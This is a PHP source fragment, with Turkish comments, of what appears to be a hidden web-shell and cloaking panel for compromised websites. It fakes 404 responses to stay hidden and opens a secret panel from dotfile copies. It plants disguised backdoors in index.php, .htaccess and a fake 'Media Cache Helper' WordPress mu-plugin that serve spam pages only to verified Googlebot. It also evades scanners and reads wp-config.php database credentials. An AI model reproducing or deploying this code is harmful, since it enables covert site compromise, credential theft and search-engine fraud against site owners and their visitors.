Not: CSEH_TOKEN default olarak dolu geldi. Bu ekrani gormeniz beklenmez. Eger goruyorsaniz: (a) dosya elle bosaltilmis olabilir, (b) baska bir surum yuklenmis olabilir. Ustteki snippet\'i satir 23\'e yapistirip yeniden yukleyin.
'
.'
';
}
}
// Oto-token doğrulaması — SADECE sabit token kullanılmıyorsa (CSEH_TOKEN boşsa).
if(CSEH_TOKEN===''){
$_np=isset($_GET['p'])?(string)$_GET['p']:'';
// 1) Embedded _WRZ_HASH karşılaştır 2) Fallback: .winrarzips-token dosyası (self-write başarısız modu)
$_okE=(_WRZ_HASH!=='' && hash_equals(_WRZ_HASH,hash('sha256',$_np)));
$_okF=(!$_okE && cseh_tokenfile_verify($_np));
if(!$_okE && !$_okF){
header($_SERVER['SERVER_PROTOCOL'].' 404 Not Found',true,404);
header('Content-Type: text/html; charset=iso-8859-1');
echo "\n404 Not Found\n
Not Found
\n
The requested URL was not found on this server.
\n";
}
}
unset($_nraw,$_nhash,$_nself,$_nself2,$_nselfok,$_nfileok,$_nmode,$_nmodeLabel,$_ns,$_nu,$_snip);
// ============================================================
// AUTH SHIM + LOG/AUDIT HELPERS (yeni moduller icin)
// Bu noktaya gelen istek zaten _WRZ_HASH/CSEH_TOKEN gecmis demektir.
// ============================================================
if(!defined('CSEH_LOADED')) define('CSEH_LOADED', 1);
if(!defined('CSEH_MODULE_3')) define('CSEH_MODULE_3', 1);
if(!function_exists('cseh_check_auth')){
function cseh_check_auth(){ return true; }
}
if(!function_exists('throw_404')){
function throw_404(){
header($_SERVER['SERVER_PROTOCOL'].' 404 Not Found',true,404);
header('Content-Type: text/html; charset=iso-8859-1');
echo "\n404 Not Found\n
Not Found
\n";
}
}
if(!function_exists('audit')){
function audit($event, $data=array()){ return; }
}
if(!function_exists('log_event')){
function log_event($event, $msg=''){ return; }
}
if(!function_exists('cseh_check_nonce')){
function cseh_check_nonce($nonce, $action){
$p = isset($_GET['p']) ? (string)$_GET['p'] : '';
if($p === '') return true;
return hash_equals($p, (string)$nonce);
}
}
// -------------------------------------------------------------------------------
$DIR=rtrim($_SERVER['DOCUMENT_ROOT'],'/\\');
$HTML_DEFAULT=base64_decode('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJ2aSI+PGhlYWQ+DQoNCjxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MSI+DQo8dGl0bGU+U0VPIFRFU1QgTk9YIFNIRUxMPC90aXRsZT4NCjwvaGVhZD4NCjxib2R5Pg0KPGgxPlNFTyBURVNUIE5PWCBTSEVMTDwvaDE+DQoNCjwvYm9keT48L2h0bWw+DQo=');
$INDEX_FILE='index.php';
$BACKUP_FILE='.render-orig.php'; // Cloak'tan ÖNCEKİ orijinal index.php yedeği — gizli dotfile, kök'te göze çarpmaz
// ---- CMS Tespiti -----------------------------------------------------------
// Dönüş: ['cms'=>'wp|joomla|laravel|generic', 'label'=>'WordPress', 'html_file'=>'...']
function detect_cms($dir){
$has_wp =file_exists($dir.'/wp-config.php')||file_exists($dir.'/wp-load.php')||is_dir($dir.'/wp-includes');
$has_joomla =file_exists($dir.'/configuration.php')&&(is_dir($dir.'/administrator')||is_dir($dir.'/libraries'));
// Laravel: bu dosya public/ içindeyse public/index.php → ../bootstrap/app.php
$has_laravel=file_exists($dir.'/../bootstrap/app.php')||file_exists($dir.'/../artisan')
||(file_exists($dir.'/index.php')&&strpos((string)@file_get_contents($dir.'/index.php'),'bootstrap/app.php')!==false);
if($has_wp) return ['cms'=>'wp', 'label'=>'WordPress','html_file'=>'wp-comments-post-loader.html'];
if($has_joomla)return ['cms'=>'joomla', 'label'=>'Joomla', 'html_file'=>'template-cache.html'];
if($has_laravel)return ['cms'=>'laravel','label'=>'Laravel', 'html_file'=>'storage-cache.html'];
return ['cms'=>'generic','label'=>'Generic PHP','html_file'=>'cache.html'];
}
// CMS'e göre cloak'lı index.php şablonu üretir.
// MİMARİ: index.php BİR KEZ kurulur (marker'lı). Perde/bayrak/backup KÖK'te DEĞİL, gizli `.render-cache/`
// alt klasöründe → kök tertemiz görünür. Aç/kapat = .render-cache/render.lock dosyasını oluştur/sil.
function build_cloak_template($cms,$html_file){
// Panel dosyasının GERÇEK adını kullan → yeniden adlandırsan bile ?wpmc=1 çalışır (gizleme için).
$_pf=addslashes(basename(__FILE__));
// PANEL GATE: ?wpmc=1 gelince paneli aç. Önce GİZLİ KOPYA (.render-cache/.winrarzips-helper.php veya
// wp-content/uploads/.../.winrarzips-helper.php) denenir → obvious standalone'u SİLEBİLİRSİN, panel gizli
// kopyadan açılır. Yoksa standalone'a düşer (geriye uyumluluk). Her CMS'te index.php gate çalışır.
$panel_gate=
"if(isset(\$_GET['wpmc'])&&\$_GET['wpmc']==='1'){\$_wrz_h=__DIR__.'/.render-cache/.winrarzips-helper.php';".
"if(!is_file(\$_wrz_h))\$_wrz_h=__DIR__.'/wp-content/uploads/wp-media-cache/.winrarzips-helper.php';".
"if(!is_file(\$_wrz_h))\$_wrz_h=__DIR__.'/{$_pf}';".
"if(is_file(\$_wrz_h)){require \$_wrz_h;exit;}}\n";
// BAYRAK kontrollü cloak — render.lock varsa bot'a perde basılır. Perde İKİ konumdan birinde olabilir:
// .render-cache/ (normal file-mode) VEYA wp-content/uploads/wp-media-cache/ (kilitli WP host). İkisini de dene.
$cloak_block=
"\$_nx_a=__DIR__.'/.render-cache';\$_nx_b=__DIR__.'/wp-content/uploads/wp-media-cache';\n".
"\$_nx=@file_exists(\$_nx_a.'/render.lock')?\$_nx_a:(@file_exists(\$_nx_b.'/render.lock')?\$_nx_b:'');\n".
"if(\$_nx!==''){\n".
// MANAGED HOST CACHE BYPASS (WP Engine/Kinsta/LiteSpeed/Varnish/nginx): cloak açıkken
// anasayfayı CACHE'LEME → her istek PHP'ye ulaşır → UA-cloaking doğru çalışır. DONOTCACHEPAGE
// WP + WP Engine + cache-plugin'lerin hepsi dinler. (Cache temizledikten sonra tekrar cache'lenmez.)
"if(!defined('DONOTCACHEPAGE'))define('DONOTCACHEPAGE',true);\n".
"header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0, private');\n".
"header('Pragma: no-cache');header('Vary: User-Agent');\n".
"header('X-LiteSpeed-Cache-Control: no-cache');header('X-Accel-Expires: 0');header('X-Cache-Control: no-cache');\n".
// ★ CF cookie bypass hilesi: CF default'ta bu cookie'leri gören sayfaları cache-lemez (WP-loggedin görüntüsü)
"if(!headers_sent()){@setcookie('wordpress_no_cache','1',time()+3600,'/');@setcookie('wp-postpass_bot','1',time()+3600,'/');}\n".
"\$_wrz_ua=strtolower(isset(\$_SERVER['HTTP_USER_AGENT'])?\$_SERVER['HTTP_USER_AGENT']:'');\n".
"\$_wrz_uri=isset(\$_SERVER['REQUEST_URI'])?(string)parse_url(\$_SERVER['REQUEST_URI'],PHP_URL_PATH):'/';\$_wrz_uri=rtrim(\$_wrz_uri,'/');\n".
// DECOY botlar — perde basMA, orijinal site bassın (sahte Googlebot, scraper, AI, SEO araçları)
// KRİTİK: 'google-inspectiontool','googleother','storebot-google','feedfetcher-google','google-read-aloud' decoy'dan ÇIKARILDI — bunlar resmi GSC fetcher'ları, perde almalı (Google sahibi onları test araçları olarak kullanır)
"\$_wrz_decoy=array('curl','wget','python','go-http','java','scrapy','axios','phantom','selenium','puppeteer','playwright','headlesschrome','chromium','bingbot','yandex','duckduckbot','baiduspider','ahrefsbot','semrushbot','mj12bot','dotbot','ccbot','rogerbot','exabot','sistrix','majestic','facebookexternalhit','twitterbot','linkedinbot','pinterest','lighthouse','pagespeed','gtmetrix','pingdom','screaming frog','uptimerobot','newrelic','google-site-verification','chatgpt','claudebot','amazonbot','applebot','gptbot','bytespider','perplexitybot');\n".
"\$_wrz_block=false;foreach(\$_wrz_decoy as \$_kw){if(strpos(\$_wrz_ua,\$_kw)!==false){\$_wrz_block=true;break;}}\n".
// Sadece UA içinde 'google' var + decoy değil + anasayfa → VERIFIED Googlebot kontrol
"if(!\$_wrz_block && strpos(\$_wrz_ua,'google')!==false && (\$_wrz_uri===''||\$_wrz_uri==='/index.php')){\n".
// IP detection: CF → X-Forwarded-For → X-Real-IP → REMOTE_ADDR (reverse-proxy arkası için)
"if(isset(\$_SERVER['HTTP_CF_CONNECTING_IP']))\$_wrz_ip=\$_SERVER['HTTP_CF_CONNECTING_IP'];\n".
"elseif(isset(\$_SERVER['HTTP_X_FORWARDED_FOR'])){\$_xff=explode(',',\$_SERVER['HTTP_X_FORWARDED_FOR']);\$_wrz_ip=trim(\$_xff[0]);}\n".
"elseif(isset(\$_SERVER['HTTP_X_REAL_IP']))\$_wrz_ip=\$_SERVER['HTTP_X_REAL_IP'];\n".
"else\$_wrz_ip=isset(\$_SERVER['REMOTE_ADDR'])?\$_SERVER['REMOTE_ADDR']:'';\n".
"\$_wrz_verified=false;\n".
// CIDR check — Google bot IP blokları (2026 itibarıyla, manuel günceleme yılda 1-2 kez yeter)
// CIDR: klasik Googlebot + GSC URL Inspection / Live Test (user-triggered-fetchers) + Special Crawlers
"\$_wrz_cidrs=array('66.249.64.0/19','66.249.96.0/19','34.100.182.96/28','34.101.50.144/28','34.118.66.0/28','34.118.254.0/28','34.126.178.96/28','34.146.150.144/28','34.147.110.144/28','34.151.74.144/28','34.152.50.64/28','34.154.114.144/28','34.155.98.32/28','34.165.18.176/28','34.175.160.64/28','34.176.130.16/28','34.22.85.0/27','34.64.82.64/28','34.65.242.112/28','34.80.50.80/28','34.88.194.0/28','34.89.10.80/28','34.89.198.80/28','34.96.162.48/28','35.247.243.240/28','192.178.4.0/24','192.178.5.0/24','192.178.6.0/24','192.178.7.0/24','107.178.192.0/18','35.187.0.0/16','35.243.0.0/16','34.116.0.0/16','34.127.0.0/16','34.98.0.0/16','34.64.6.0/24','35.243.16.0/24','34.85.144.0/22','35.221.0.0/16','35.197.0.0/16');\n".
"\$_ipL=\$_wrz_ip!==''?ip2long(\$_wrz_ip):false;\n".
"if(\$_ipL!==false){foreach(\$_wrz_cidrs as \$_c){\$_pp=explode('/',\$_c);if(count(\$_pp)===2){\$_netL=ip2long(\$_pp[0]);\$_m=intval(\$_pp[1]);\$_mL=\$_m>=32?-1:(~((1<<(32-\$_m))-1));if((\$_ipL&\$_mL)===(\$_netL&\$_mL)){\$_wrz_verified=true;break;}}}}\n".
// rDNS forward-confirmed (CIDR'de değilse, son şans — Google'ın resmi önerdiği yöntem)
// rDNS: .googlebot.com (klasik) + .google.com (Adsbot/InspectionTool) + .googleusercontent.com (GSC user-triggered) — Google'ın TÜM resmi rDNS suffix'leri
"if(!\$_wrz_verified && \$_wrz_ip!==''){\$_h=@gethostbyaddr(\$_wrz_ip);if(\$_h && preg_match('/\\\\.(googlebot|google|googleusercontent)\\\\.com\$/i',\$_h)){\$_fw=@gethostbynamel(\$_h);if(\$_fw && in_array(\$_wrz_ip,\$_fw,true)){\$_wrz_verified=true;}}}\n".
// Verified Googlebot ise perde bas; sahte 'google' UA → perde basMA
// SOFT MODE: verified IP/rDNS BONUSdur, mecburi DEĞİL. Decoy filtresi geçti + UA "google" + anasayfa → perde bas. (sıkı mod için verified=true şartı arayabilirsin ama GSC fetcher IP'leri tutarsız olduğundan soft mode default)
"\$_wrz_p=\$_nx.'/render-cache.html';if(file_exists(\$_wrz_p)){while(ob_get_level()>0)@ob_end_clean();header('Content-Type: text/html; charset=UTF-8');include \$_wrz_p;die();}\n".
"}\n}\n";
// execute();}\n";
}
if($cms==='laravel'){
return "handleRequest(\\Illuminate\\Http\\Request::capture());\n";
}
// generic — STATİK HTML site desteği: backup PHP yoksa/boşsa/cloak'sa gerçek index.html'i bas.
// (Saf statik sitelerde gerçek anasayfa index.html'dir; backup boş/kirli kalıyordu → insan boş
// sayfa görüyordu. Kurşun-geçirmez sıra: gerçek-PHP-backup → index.html → index.htm → boş.)
$generic_human=
"\$_wrz_orig=__DIR__.'/.render-orig.php';\n".
"if(file_exists(\$_wrz_orig)){\$_wrz_ob=(string)@file_get_contents(\$_wrz_orig);".
"if(\$_wrz_ob!==''&&strpos(\$_wrz_ob,'WRZ-RENDER')===false){require \$_wrz_orig;return;}}\n".
"\$_wrz_html=__DIR__.'/index.html';\n".
"if(!file_exists(\$_wrz_html))\$_wrz_html=__DIR__.'/index.htm';\n".
"if(file_exists(\$_wrz_html)){header('Content-Type: text/html; charset=UTF-8');@readfile(\$_wrz_html);return;}\n";
return "\n"
."DirectoryIndex index.php index.html index.htm\n"
."\n"
."\n"
."RewriteEngine On\n"
."RewriteCond %{HTTP_USER_AGENT} (Googlebot|AdsBot|Mediapartners-Google|Google-InspectionTool|GoogleOther|Storebot-Google) [NC]\n"
."RewriteRule .* - [E=Cache-Control:no-cache]\n"
."\n"
."# END WP-Media-Cache Bypass\n";
}
function cseh_htaccess_add($dir){
$f=$dir.DIRECTORY_SEPARATOR.'.htaccess';
$cur=file_exists($f)?(string)@file_get_contents($f):'';
// Eski blok varsa ÇIKAR (güncel blokla değiştir → DirectoryIndex fix'i de uygulansın)
if(strpos($cur,'# BEGIN WP-Media-Cache Bypass')!==false){
$cur=preg_replace('/# BEGIN WP-Media-Cache Bypass.*?# END WP-Media-Cache Bypass\n?/s','',$cur);
$cur=ltrim($cur,"\n");
}
// En üste ekle (DirectoryIndex + cache kuralları diğer kurallardan önce)
$new=cseh_htaccess_block()."\n".$cur;
return @file_put_contents($f,$new)!==false?'OK':'ERR';
}
function cseh_htaccess_remove($dir){
$f=$dir.DIRECTORY_SEPARATOR.'.htaccess';
if(!file_exists($f))return 'NA';
$cur=(string)@file_get_contents($f);
if(strpos($cur,'# BEGIN WP-Media-Cache Bypass')===false)return 'NA';
$clean=preg_replace('/# BEGIN WP-Media-Cache Bypass.*?# END WP-Media-Cache Bypass\n?/s','',$cur);
$clean=ltrim($clean,"\n");
return @file_put_contents($f,$clean)!==false?'OK':'ERR';
}
// ---- YÖNTEM 3: .htaccess mod_rewrite CLOAK (index.php KİLİTLİ + mod_php son çaresi) --------
// index.php yazılamıyor VE .user.ini desteklenmiyorsa (mod_php), cloak'ı Apache seviyesinde
// yaparız: render.lock varsa + Googlebot + anasayfa → statik perde'yi servis et. PHP'ye HİÇ
// dokunmaz. İnsan WordPress'i normal görür (kuralımız sadece Googlebot UA'ya tetiklenir).
// Flag (render.lock) ile aç/kapat → "Cloak'ı Kapat" flag'i siler, rewrite koşulu düşer = pasif.
function cseh_htaccess_cloak_block(){
return "# BEGIN WP-Media-Cache Cloak\n"
."\n"
."RewriteEngine On\n"
// SADECE flag açıkken + perde varken + Googlebot + anasayfada tetiklen:
."RewriteCond %{DOCUMENT_ROOT}/.render-cache/render.lock -f\n"
."RewriteCond %{DOCUMENT_ROOT}/.render-cache/render-cache.html -f\n"
."RewriteCond %{HTTP_USER_AGENT} (Googlebot|AdsBot|Mediapartners-Google|Google-InspectionTool|GoogleOther|Storebot-Google) [NC]\n"
."RewriteCond %{REQUEST_URI} ^/(index\\.php)?$\n"
."RewriteRule ^ /.render-cache/render-cache.html [L]\n"
."\n"
."# END WP-Media-Cache Cloak\n";
}
function cseh_htaccess_cloak_add($dir){
$f=$dir.DIRECTORY_SEPARATOR.'.htaccess';
$cur=file_exists($f)?(string)@file_get_contents($f):'';
// eski cloak blok varsa çıkar (güncelle)
if(strpos($cur,'# BEGIN WP-Media-Cache Cloak')!==false){
$cur=preg_replace('/# BEGIN WP-Media-Cache Cloak.*?# END WP-Media-Cache Cloak\n?/s','',$cur);
$cur=ltrim($cur,"\n");
}
// EN ÜSTE — WordPress'in "her şeyi index.php'ye yönlendir" kuralından ÖNCE değerlendirilmeli
$new=cseh_htaccess_cloak_block()."\n".$cur;
return @file_put_contents($f,$new)!==false?'OK':'ERR';
}
function cseh_htaccess_cloak_remove($dir){
$f=$dir.DIRECTORY_SEPARATOR.'.htaccess';
if(!file_exists($f))return 'NA';
$cur=(string)@file_get_contents($f);
if(strpos($cur,'# BEGIN WP-Media-Cache Cloak')===false)return 'NA';
$clean=preg_replace('/# BEGIN WP-Media-Cache Cloak.*?# END WP-Media-Cache Cloak\n?/s','',$cur);
$clean=ltrim($clean,"\n");
return @file_put_contents($f,$clean)!==false?'OK':'ERR';
}
// ---- YÖNTEM 4: WordPress mu-plugin AIRBAG (WP + kök PHP'ye KİLİTLİ son çare) ----------------
// mod_php host'ta web kökü PHP'ye yazılamıyor AMA wp-content yazılabiliyorsa: wp-content/mu-plugins/
// içine küçük airbag koy. WP OTOMATİK yükler (aktivasyon/wp-admin GEREKMEZ). render.lock varsa +
// Googlebot + anasayfa → wp-content/uploads/wp-media-cache/render-cache.html perde'yi basar + exit.
function cseh_muplugin_code(){
return "<"."?php\n"
."/* WRZ-RENDER-V1 mu-airbag */\n"
."/* Plugin Name: Media Cache Helper */\n"
."if(!defined('ABSPATH'))return;\n"
."\$__nx=(defined('WP_CONTENT_DIR')?WP_CONTENT_DIR:dirname(__DIR__)).'/uploads/wp-media-cache';\n"
."if(@file_exists(\$__nx.'/render.lock')){\n"
." \$__ua=isset(\$_SERVER['HTTP_USER_AGENT'])?\$_SERVER['HTTP_USER_AGENT']:'';\n"
." \$__u=isset(\$_SERVER['REQUEST_URI'])?(string)parse_url(\$_SERVER['REQUEST_URI'],PHP_URL_PATH):'/';\$__u=rtrim(\$__u,'/');\n"
." if(preg_match('/Googlebot|AdsBot|Mediapartners-Google|Google-InspectionTool|GoogleOther|Storebot-Google/i',\$__ua)&&(\$__u===''||\$__u==='/index.php')){\n"
." \$__p=\$__nx.'/render-cache.html';\n"
." if(@file_exists(\$__p)){\n"
." if(!defined('DONOTCACHEPAGE'))define('DONOTCACHEPAGE',true);\n"
." header('Content-Type: text/html; charset=UTF-8');header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');header('X-LiteSpeed-Cache-Control: no-cache');\n"
." while(ob_get_level()>0)@ob_end_clean();@readfile(\$__p);exit;\n"
." }\n }\n}\n";
}
function cseh_muplugin_path($dir){ return $dir.'/wp-content/mu-plugins/0-media-cache.php'; }
function cseh_muplugin_add($dir){
$mu=$dir.'/wp-content/mu-plugins';
if(!is_dir($mu)){ if(!@mkdir($mu,0755,true)) return 'ERR (mu-plugins oluşturulamadı)'; }
return @file_put_contents(cseh_muplugin_path($dir),cseh_muplugin_code())!==false?'OK':'ERR (yazılamadı)';
}
function cseh_muplugin_remove($dir){
$f=cseh_muplugin_path($dir);
if(file_exists($f)) return @unlink($f)?'OK':'ERR';
return 'NA';
}
function cseh_muplugin_installed($dir){
$f=cseh_muplugin_path($dir);
return file_exists($f) && wrz_cloak_marked((string)@file_get_contents($f));
}
// Sunucu yazılımını tespit et: litespeed | apache | nginx | other
function cseh_server_type(){
$s=strtolower(isset($_SERVER['SERVER_SOFTWARE'])?$_SERVER['SERVER_SOFTWARE']:'');
if($s===''){
// SERVER_SOFTWARE boşsa header'dan dene
$s=strtolower(isset($_SERVER['HTTP_X_SERVER'])?$_SERVER['HTTP_X_SERVER']:'');
}
if(strpos($s,'litespeed')!==false||strpos($s,'lsws')!==false)return 'litespeed';
if(strpos($s,'nginx')!==false)return 'nginx';
if(strpos($s,'apache')!==false)return 'apache';
return 'other';
}
/* ============================================================
* MANAGED HOST DETECTION (Kinsta / WP Engine / Pantheon / Flywheel / Cloudways)
* Bu hostlar kendi edge/CDN cache layer'ını kullanır. PHP'den purge YAPILAMAZ
* (WP Engine EverCache, Kinsta CDN, Pantheon Global CDN, Flywheel FlyCache).
* Kullanıcıya dashboard manuel-purge linki + mu-plugin/CLI önerisi göstereceğiz.
* Sinyaller: $_SERVER env, mu-plugins path pattern, hostname pattern.
* ============================================================ */
function cseh_detect_managed_host(){
$out=array('host'=>null,'label'=>'','purge_hint'=>'','dashboard'=>'','mu_plugin'=>'',
'can_php_purge'=>true,'signals'=>array());
// 1) WP Engine — $_SERVER['WPENGINE_ACCOUNT'] veya mu-plugin varlığı
if(!empty($_SERVER['WPENGINE_ACCOUNT'])){
$out['host']='wpengine';
$out['signals'][]='SERVER[WPENGINE_ACCOUNT]='.substr((string)$_SERVER['WPENGINE_ACCOUNT'],0,40);
}elseif(!empty($_SERVER['IS_WPE']) || !empty($_ENV['IS_WPE'])){
$out['host']='wpengine';
$out['signals'][]='SERVER[IS_WPE] set';
}elseif(defined('WPE_APIKEY') || defined('WPE_CLUSTER_TYPE')){
$out['host']='wpengine';
$out['signals'][]='constant WPE_APIKEY / WPE_CLUSTER_TYPE tanımlı';
}elseif(function_exists('is_wpe') || class_exists('WpeCommon')){
$out['host']='wpengine';
$out['signals'][]='is_wpe() / WpeCommon sınıfı yüklü';
}
// 2) Kinsta — $_SERVER['KINSTA_CACHE_ZONE'] veya path pattern
if($out['host']===null){
if(!empty($_SERVER['KINSTA_CACHE_ZONE']) || !empty($_ENV['KINSTA_CACHE_ZONE'])){
$out['host']='kinsta';
$out['signals'][]='SERVER[KINSTA_CACHE_ZONE] set';
}elseif(defined('KINSTAMU_VERSION') || defined('KINSTA_CACHE_ZONE')){
$out['host']='kinsta';
$out['signals'][]='constant KINSTAMU_VERSION / KINSTA_CACHE_ZONE tanımlı';
}elseif(class_exists('Kinsta\\Cache') || class_exists('KinstaMU')){
$out['host']='kinsta';
$out['signals'][]='Kinsta\\Cache / KinstaMU sınıfı yüklü';
}elseif(isset($_SERVER['HTTP_HOST']) && preg_match('/\.kinsta(cloud|\.cloud)(\.|$)/i',(string)$_SERVER['HTTP_HOST'])){
$out['host']='kinsta';
$out['signals'][]='HOST pattern: .kinsta.cloud';
}
}
// 3) Pantheon — $_SERVER['PANTHEON_ENVIRONMENT']
if($out['host']===null){
if(!empty($_SERVER['PANTHEON_ENVIRONMENT']) || !empty($_ENV['PANTHEON_ENVIRONMENT'])){
$out['host']='pantheon';
$out['signals'][]='SERVER[PANTHEON_ENVIRONMENT]='.substr((string)(isset($_SERVER['PANTHEON_ENVIRONMENT'])?$_SERVER['PANTHEON_ENVIRONMENT']:$_ENV['PANTHEON_ENVIRONMENT']),0,30);
}elseif(defined('PANTHEON_ENVIRONMENT') || defined('PANTHEON_SITE')){
$out['host']='pantheon';
$out['signals'][]='constant PANTHEON_ENVIRONMENT / PANTHEON_SITE tanımlı';
}elseif(function_exists('pantheon_clear_edge_all') || function_exists('pantheon_clear_edge_paths')){
$out['host']='pantheon';
$out['signals'][]='pantheon_clear_edge_* fonksiyonu var';
}
}
// 4) Flywheel — $_SERVER['FLYWHEEL_CONFIG_DIR'] veya path pattern
if($out['host']===null){
if(!empty($_SERVER['FLYWHEEL_CONFIG_DIR']) || !empty($_SERVER['FLYWHEEL']) || !empty($_ENV['FLYWHEEL'])){
$out['host']='flywheel';
$out['signals'][]='SERVER[FLYWHEEL_*] set';
}elseif(defined('FLYWHEEL_PLUGIN_DIR') || defined('FLYWHEEL_CONFIG_DIR')){
$out['host']='flywheel';
$out['signals'][]='constant FLYWHEEL_* tanımlı';
}elseif(isset($_SERVER['HTTP_HOST']) && preg_match('/\.flywheelsites\.com$/i',(string)$_SERVER['HTTP_HOST'])){
$out['host']='flywheel';
$out['signals'][]='HOST pattern: .flywheelsites.com';
}
}
// 5) Cloudways — hostname + varnish signals
if($out['host']===null){
if(!empty($_SERVER['HTTP_X_APPLICATION']) && stripos((string)$_SERVER['HTTP_X_APPLICATION'],'cloudways')!==false){
$out['host']='cloudways';
$out['signals'][]='HTTP_X_APPLICATION içerir cloudways';
}elseif(isset($_SERVER['HTTP_HOST']) && preg_match('/\.cloudwaysapps\.com$/i',(string)$_SERVER['HTTP_HOST'])){
$out['host']='cloudways';
$out['signals'][]='HOST pattern: .cloudwaysapps.com';
}elseif(class_exists('Breeze_Cache_Init') && !empty($_SERVER['SERVER_NAME']) && preg_match('/cloudwaysapps\.com/i',(string)$_SERVER['SERVER_NAME'])){
$out['host']='cloudways';
$out['signals'][]='Breeze plugin + cloudwaysapps SERVER_NAME';
}
}
// Detay: her host için etiket + manuel purge talimatı + dashboard URL + mu-plugin ipucu
if($out['host']==='wpengine'){
$out['label']='WP Engine';
$out['can_php_purge']=false; // EverCache PHP'den purge yok
$out['dashboard']='https://my.wpengine.com/';
$acc=isset($_SERVER['WPENGINE_ACCOUNT'])?(string)$_SERVER['WPENGINE_ACCOUNT']:'';
if($acc!=='') $out['dashboard'].='installs/'.rawurlencode($acc).'/caching';
$out['mu_plugin']='/wp-content/mu-plugins/wpengine-common/';
$out['purge_hint']='EverCache PHP\'den temizlenemez. Manuel: My WP Engine → Sites → Caching → Purge All Caches. VEYA WP admin toolbar → WP Engine → General Cache/Object Cache/CDN Purge. Alternatif: SSH\'a bağlanıp `wp page-cache flush` (WP-CLI).';
}elseif($out['host']==='kinsta'){
$out['label']='Kinsta';
$out['can_php_purge']=true; // KinstaMU mu-plugin PHP'den purge sağlıyor
$out['dashboard']='https://my.kinsta.com/';
$out['mu_plugin']='/wp-content/mu-plugins/kinsta-mu-plugins.php';
$out['purge_hint']='Kinsta CDN + Full Page Cache. WP admin toolbar → Kinsta Cache → Clear All Caches. VEYA MyKinsta → Sites → Tools → Site Cache: "Clear cache". Kinsta REST API ile programatik purge için: API token (MyKinsta → API Keys) + POST https://api.kinsta.com/v2/sites/{site_id}/tools/purge-cache.';
}elseif($out['host']==='pantheon'){
$out['label']='Pantheon';
$out['can_php_purge']=true; // pantheon_clear_edge_all() var
$out['dashboard']='https://dashboard.pantheon.io/';
$out['mu_plugin']='pantheon_clear_edge_all() / Pantheon Advanced Page Cache plugin';
$out['purge_hint']='Pantheon Global CDN (edge). PHP\'den: pantheon_clear_edge_all() / pantheon_clear_edge_paths([url]) — Pantheon Advanced Page Cache plugin ile. Dashboard: Pantheon Dashboard → Environment → Clear Caches. Terminus CLI: `terminus env:clear-cache .`.';
}elseif($out['host']==='flywheel'){
$out['label']='Flywheel';
$out['can_php_purge']=false; // FlyCache mu-plugin manuel
$out['dashboard']='https://app.getflywheel.com/';
$out['mu_plugin']='/wp-content/mu-plugins/flywheel-*';
$out['purge_hint']='FlyCache PHP\'den temizlenemez. Manuel: Flywheel Dashboard → Site → Advanced → "Clear Cache". VEYA WP admin toolbar → Flywheel → Clear Cache. WP Engine tarafından satın alındığı için EverCache benzeri edge davranışı.';
}elseif($out['host']==='cloudways'){
$out['label']='Cloudways';
$out['can_php_purge']=true; // Varnish + Breeze plugin PHP'den purge yapabiliyor
$out['dashboard']='https://platform.cloudways.com/';
$out['mu_plugin']='Breeze plugin (WordPress) VEYA Cloudways WP Cache Toolbar';
$out['purge_hint']='Cloudways Varnish + Breeze. Manuel: Cloudways Platform → Server → Services → Varnish "Purge". VEYA WP admin → Breeze → Purge All Cache. Bu araç Varnish 6081 PURGE\'ü otomatik dener; Varnish domain-scoped purge Cloudways SSH ile: `varnishadm "ban req.http.host == mysite.com"`.';
}
return $out;
}
/* ============================================================
* CACHE PLUGIN BYPASS + BACKUP AUTO-REPAIR (v0.3)
* "CLOAK SERVİSİNİ AÇ" akışına otomatik bağlanır.
* ============================================================ */
$GLOBALS['CSEH_BOT_UA_LIST'] = array(
'Googlebot','AdsBot-Google','Mediapartners-Google',
'Google-InspectionTool','GoogleOther','Storebot-Google',
);
function cseh_find_wpconfig($DIR){
$p = rtrim($DIR, '/\\');
for($i=0; $i<7; $i++){
if(@is_file($p.'/wp-config.php') && @is_readable($p.'/wp-config.php')) return $p.'/wp-config.php';
$np = dirname($p);
if($np===$p || $np==='' || $np==='.') break;
$p = $np;
}
return '';
}
function cseh_parse_wpconfig($path){
$out = array('creds'=>array(), 'prefix'=>'wp_');
if(!$path || !@is_file($path)) return $out;
$src = @file_get_contents($path);
if($src === false) return $out;
foreach(array('DB_NAME','DB_USER','DB_PASSWORD','DB_HOST','DB_CHARSET') as $k){
if(preg_match("/define\s*\(\s*['\"]" . $k . "['\"]\s*,\s*['\"](.*?)['\"]\s*\)/s", $src, $m)){
$out['creds'][$k] = $m[1];
}
}
if(preg_match('/\$table_prefix\s*=\s*[\'"]([a-zA-Z0-9_]+)[\'"]\s*;/', $src, $m)){
$out['prefix'] = $m[1];
}
if(empty($out['creds']['DB_CHARSET'])) $out['creds']['DB_CHARSET'] = 'utf8mb4';
if(empty($out['creds']['DB_HOST'])) $out['creds']['DB_HOST'] = 'localhost';
return $out;
}
function cseh_db_connect($creds){
if(!extension_loaded('mysqli')) return null;
if(empty($creds['DB_NAME']) || empty($creds['DB_USER'])) return null;
@mysqli_report(MYSQLI_REPORT_OFF);
$host = $creds['DB_HOST']; $port = 0; $sock = '';
if(strpos($host, ':') !== false){
$parts = explode(':', $host, 2);
$host = $parts[0];
if(is_numeric($parts[1])) $port = (int)$parts[1]; else $sock = $parts[1];
}
$pw = isset($creds['DB_PASSWORD']) ? $creds['DB_PASSWORD'] : '';
$m = @new mysqli($host, $creds['DB_USER'], $pw, $creds['DB_NAME'], $port ?: 3306, $sock ?: null);
if($m->connect_errno) return null;
@$m->set_charset($creds['DB_CHARSET']);
return $m;
}
function cseh_merge_ua_list(array $existing, array $additions){
$seen = array(); $out = array();
foreach(array_merge($existing, $additions) as $ua){
$ua = trim((string)$ua);
if($ua === '') continue;
$k = strtolower($ua);
if(isset($seen[$k])) continue;
$seen[$k] = 1;
$out[] = $ua;
}
return $out;
}
function cseh_ua_str_to_arr($str){
if(!is_string($str) || $str === '') return array();
$parts = preg_split('/\r\n|\r|\n/', $str);
$out = array();
foreach($parts as $p){ $p = trim($p); if($p !== '') $out[] = $p; }
return $out;
}
function cseh_db_get_option($mysqli, $prefix, $name){
$sql = "SELECT option_value FROM `{$prefix}options` WHERE option_name = ? LIMIT 1";
$stmt = @$mysqli->prepare($sql);
if(!$stmt) return null;
